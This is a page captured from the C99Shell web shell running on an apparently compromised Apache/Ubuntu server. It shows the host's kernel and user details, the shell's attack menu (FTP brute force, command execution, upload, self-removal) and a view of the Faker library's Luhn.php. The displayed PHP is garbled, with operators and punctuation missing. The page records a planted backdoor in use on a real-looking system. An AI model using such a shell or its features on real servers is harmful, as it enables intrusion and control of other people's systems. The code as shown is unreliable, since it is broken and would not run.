!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/fakerphp/faker/src/Faker/Calculator/   drwxrwxr-x
Free 13.01 GB of 57.97 GB (22.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Luhn.php (1.72 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Faker\Calculator;

/**
 * Utility class for generating and validating Luhn numbers.
 *
 * Luhn algorithm is used to validate credit card numbers, IMEI numbers, and
 * National Provider Identifier numbers.
 *
 * @see http://en.wikipedia.org/wiki/Luhn_algorithm
 */
class Luhn
{
    
/**
     * @param string $number
     *
     * @return int
     */
    
private static function checksum($number)
    {
        
$number = (string) $number;
        
$length strlen($number);
        
$sum 0;

        for (
$i $length 1$i >= 0$i -= 2) {
            
$sum += $number[$i];
        }

        for (
$i $length 2$i >= 0$i -= 2) {
            
$sum += array_sum(str_split($number[$i] * 2));
        }

        return 
$sum 10;
    }

    
/**
     * @param string $partialNumber
     *
     * @return string
     */
    
public static function computeCheckDigit($partialNumber)
    {
        
$checkDigit self::checksum($partialNumber '0');

        if (
$checkDigit === 0) {
            return 
0;
        }

        return (string) (
10 $checkDigit);
    }

    
/**
     * Checks whether a number (partial number + check digit) is Luhn compliant
     *
     * @param string $number
     *
     * @return bool
     */
    
public static function isValid($number)
    {
        return 
self::checksum($number) === 0;
    }

    
/**
     * Generate a Luhn compliant number.
     *
     * @param string $partialValue
     *
     * @return string
     */
    
public static function generateLuhnNumber($partialValue)
    {
        if (!
preg_match('/^\d+$/'$partialValue)) {
            throw new 
\InvalidArgumentException('Argument should be an integer.');
        }

        return 
$partialValue Luhn::computeCheckDigit($partialValue);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0151 ]--